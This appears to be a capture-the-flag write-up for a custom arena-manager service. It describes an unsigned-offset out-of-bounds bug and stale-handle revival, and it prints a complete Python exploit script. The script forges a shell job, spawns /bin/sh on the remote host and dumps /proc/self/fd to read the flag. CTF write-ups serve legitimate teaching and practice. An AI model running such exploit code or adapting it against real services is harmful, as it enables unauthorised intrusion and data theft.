$ cat writeup.md…
$ cat writeup.md…
asisctf2026
Task: a custom arena service exposes BUF/VIEW/PATCH/JOB objects and validates opaque handles against slot metadata. Solution: use unsigned-wrap OOB access to rewrite a recycled BUF back into a forged JOB, then run the revived stale handle and read the inherited memfd flag descriptor.
A very normal arena manager where nothing bad can happen after you press “rollback.”
We are given a custom line-based service and a remote endpoint. Despite the theme, the winning path does not require ROLLBACK at all.
The protocol supports these commands:
BUFVIEWPATCHDROPJOBSNAPROLLBACKRUNQUITThe service manages 24 fixed slots of size 0x98. Each slot has a common header at the slot base:
+0x00: active byte+0x01: type byte+0x04: generationBUF objects use raw storage at slot+0x8 with size 0x90. JOB objects also start at slot+0x8 and have this layout:
+0x00: magic 0x415379b7+0x04: selector (0x415347dc normal, 0x4153b0d8 shell)+0x0c: path length+0x10: cookie+0x18: 64-bit integrity+0x20: 32-bit integrity+0x24: pathHandles are XOR-obfuscated and encode object type, global epoch, slot generation, and slot index. Validation succeeds only if those decoded fields match the current slot header. That detail matters because stale handles become usable again once the old slot metadata is restored.
The bug is in VIEW and PATCH: offsets are effectively treated as unsigned 64-bit values. A wrapped offset such as 2^64-8 reaches eight bytes before slot+0x8, which means the header of the same slot becomes readable and writable from a BUF handle.
Another crucial property is slot reuse. After DROP, allocating a new object in the same slot does not clear the old payload. So a dropped JOB leaves its structured contents behind, and a new BUF in that slot can leak and edit them.
Direct shell jobs are blocked: JOB rejects /, while shell execution requires selector 0x4153b0d8 and strcmp(path, "/bin/sh") == 0. The intended exploit is therefore to create a harmless job first, recover its integrity state, and then forge a shell-capable job in place.
Exploit chain:
JOB abcdefg and save its returned handle, slot index, and generation.DROP that job.BUF, which reuses the same slot without clearing the old job payload.VIEW to leak the stale JOB fields from the recycled slot.0x4153b0d8 and path /bin/sh\0.PATCH the BUF payload with the forged JOB structure.PATCH with offset 2^64-8 to restore the slot header as active=1, type=JOB, and the old generation.RUN on the original stale job handle. Because the header now matches the old decoded handle fields, validation passes and the service spawns a shell./proc/self/fd/* and read the inherited memfd descriptor such as /memfd:as-flag (deleted) to recover the flag.The final exploit script used for the solve is:
#!/usr/bin/env python3 import re import socket import struct HOST = "91.107.187.160" PORT = 18123 KEY = 0xF4A77A8E77FB3A2C MAGIC = 0x415379B7 SEL_NORMAL = 0x415347DC SEL_SHELL = 0x4153B0D8 D8 = 0x1357 CONST = 0x21CB5F5EFBE0C0A2 C1 = 0xFF51AFD7ED558CCD C2 = 0xC4CEB9FE1A85EC53 MOD = 1 << 64 INV32 = pow(0x1000193, -1, 1 << 32) IC1 = pow(C1, -1, MOD) IC2 = pow(C2, -1, MOD) def invxor33(x): r = x & (MOD - 1) for _ in range(8): r = (x ^ (r >> 33)) & (MOD - 1) return r def mix2(x): x &= MOD - 1 x = ((x ^ (x >> 33)) * C1) & (MOD - 1) x = ((x ^ (x >> 33)) * C2) & (MOD - 1) return x def finalfmix(x): x &= MOD - 1 x ^= x >> 33 x = (x * C1) & (MOD - 1) x ^= x >> 33 x = (x * C2) & (MOD - 1) x ^= x >> 33 return x & (MOD - 1) def unfinalfmix(x): x = invxor33(x) x = (x * IC2) & (MOD - 1) x = invxor33(x) x = (x * IC1) & (MOD - 1) x = invxor33(x) return x def h1_from_secret(secret, selector, cookie, path8, pathlen, idx, gen): b = mix2(int.from_bytes(path8, "little") ^ pathlen) pre = ((b >> 33) ^ secret ^ gen ^ (idx << 48) ^ cookie ^ D8 ^ (selector << 32) ^ b ^ CONST) & (MOD - 1) return finalfmix(pre) def fnv32(init, data): x = init & 0xFFFFFFFF for b in data: x = ((x ^ b) * 0x1000193) & 0xFFFFFFFF return x def fnv32_rev(final, data): x = final & 0xFFFFFFFF for b in reversed(data): x = ((x * INV32) & 0xFFFFFFFF) ^ b return x def build_job(selector, cookie, h1, h2, path_bytes, pathlen): b = bytearray(0x64) struct.pack_into("<I", b, 0, MAGIC) struct.pack_into("<I", b, 4, selector) struct.pack_into("<I", b, 8, D8) struct.pack_into("<I", b, 12, pathlen) struct.pack_into("<Q", b, 16, cookie) struct.pack_into("<Q", b, 24, h1) struct.pack_into("<I", b, 32, h2) b[36:36 + len(path_bytes)] = path_bytes return b def h2_material(selector, cookie, h1, path_bytes, pathlen): b = build_job(selector, cookie, h1, 0, path_bytes, pathlen) b[32:36] = b"\0" * 4 return bytes(b) def recvline(sock): data = b"" while not data.endswith(b"\n"): chunk = sock.recv(1) if not chunk: raise EOFError(data) data += chunk return data.decode().strip() def recv_some(sock, timeout=0.7): sock.settimeout(timeout) out = b"" try: while True: chunk = sock.recv(4096) if not chunk: break out += chunk if len(chunk) < 4096: break except Exception: pass return out.decode("latin1", "replace") def cmd(sock, s): sock.sendall(s.encode() + b"\n") return recvline(sock) def main(): s = socket.create_connection((HOST, PORT), timeout=5) print(s.recv(4096).decode().strip()) old_path = b"abcdefg" r = cmd(s, f"JOB {old_path.decode()}") print(r) m = re.search(r"job=([0-9a-f]+) idx=(\d+) gen=(\d+)", r) old_handle, idx, gen = m.group(1), int(m.group(2)), int(m.group(3)) print(cmd(s, f"DROP {old_handle}")) r = cmd(s, "BUF 41") print(r) buf_handle = re.search(r"buf=([0-9a-f]+)", r).group(1) leak = bytes.fromhex(re.search(r"OK data=([0-9a-f]+)", cmd(s, f"VIEW {buf_handle} 4 32")).group(1)) selector, d8, pathlen, cookie, h1_old, h2_old = struct.unpack("<IIIQQI", leak) assert selector == SEL_NORMAL and d8 == D8 and pathlen == len(old_path) old_q = int.from_bytes(old_path.ljust(8, b"\0")[:8], "little") secret = unfinalfmix(h1_old) ^ (mix2(old_q ^ len(old_path)) >> 33) ^ gen ^ (idx << 48) ^ cookie ^ D8 ^ (SEL_NORMAL << 32) ^ mix2(old_q ^ len(old_path)) ^ CONST secret &= MOD - 1 init32 = fnv32_rev(h2_old, h2_material(SEL_NORMAL, cookie, h1_old, old_path, len(old_path))) new_path = b"/bin/sh\0" new_strlen = 7 h1_new = h1_from_secret(secret, SEL_SHELL, cookie, new_path[:8], new_strlen, idx, gen) h2_new = fnv32(init32, h2_material(SEL_SHELL, cookie, h1_new, new_path, new_strlen)) payload = build_job(SEL_SHELL, cookie, h1_new, h2_new, new_path, new_strlen) print(cmd(s, f"PATCH {buf_handle} 0 {payload.hex()}")) header = struct.pack("<BBHI", 1, 2, 0, gen) print(cmd(s, f"PATCH {buf_handle} {2**64 - 8} {header.hex()}")) print(cmd(s, f"RUN {old_handle}")) s.sendall(b"for x in /proc/self/fd/*; do cat $x 2>/dev/null; done\n") print(recv_some(s)) if __name__ == "__main__": main()
$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar